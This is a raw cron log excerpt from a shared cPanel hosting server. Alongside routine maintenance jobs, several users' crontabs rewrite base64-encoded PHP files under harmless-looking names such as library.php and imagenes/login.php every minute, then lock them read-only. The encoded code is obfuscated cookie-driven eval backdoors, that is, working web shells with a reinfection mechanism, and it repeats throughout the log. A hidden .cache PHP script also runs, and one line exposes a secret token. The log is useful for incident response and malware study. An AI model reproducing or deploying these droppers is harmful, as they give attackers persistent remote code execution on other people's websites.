Apr 19 06:10:02 medusa CROND[13683]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:10:02 medusa CROND[13689]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 06:10:02 medusa CROND[13672]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:10:02 medusa CROND[13685]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 06:11:01 medusa CROND[5013]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 06:11:01 medusa CROND[5014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:11:01 medusa CROND[5015]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:11:01 medusa CROND[5032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:11:01 medusa CROND[5033]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 06:11:01 medusa CROND[5034]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:11:01 medusa CROND[5036]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:11:01 medusa CROND[5035]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:11:01 medusa CROND[5037]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:11:01 medusa CROND[5038]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:11:01 medusa CROND[5041]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:11:01 medusa CROND[5044]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:11:01 medusa CROND[5046]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:12:01 medusa CROND[28599]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:12:01 medusa CROND[28665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:12:01 medusa CROND[28666]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:12:01 medusa CROND[28667]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:12:01 medusa CROND[28668]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:12:01 medusa CROND[28672]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:12:01 medusa CROND[28676]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:12:01 medusa CROND[28677]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 06:12:01 medusa CROND[28679]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 06:12:01 medusa CROND[28680]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:12:01 medusa CROND[28681]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:12:01 medusa CROND[28682]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:12:01 medusa CROND[28687]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:12:01 medusa CROND[28688]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:13:01 medusa CROND[20708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:13:01 medusa CROND[20741]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 06:13:02 medusa CROND[20806]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:13:02 medusa CROND[20811]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:13:02 medusa CROND[20812]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:13:02 medusa CROND[20813]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:13:02 medusa CROND[20814]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Apr 19 06:13:02 medusa CROND[20816]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:13:02 medusa CROND[20820]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbS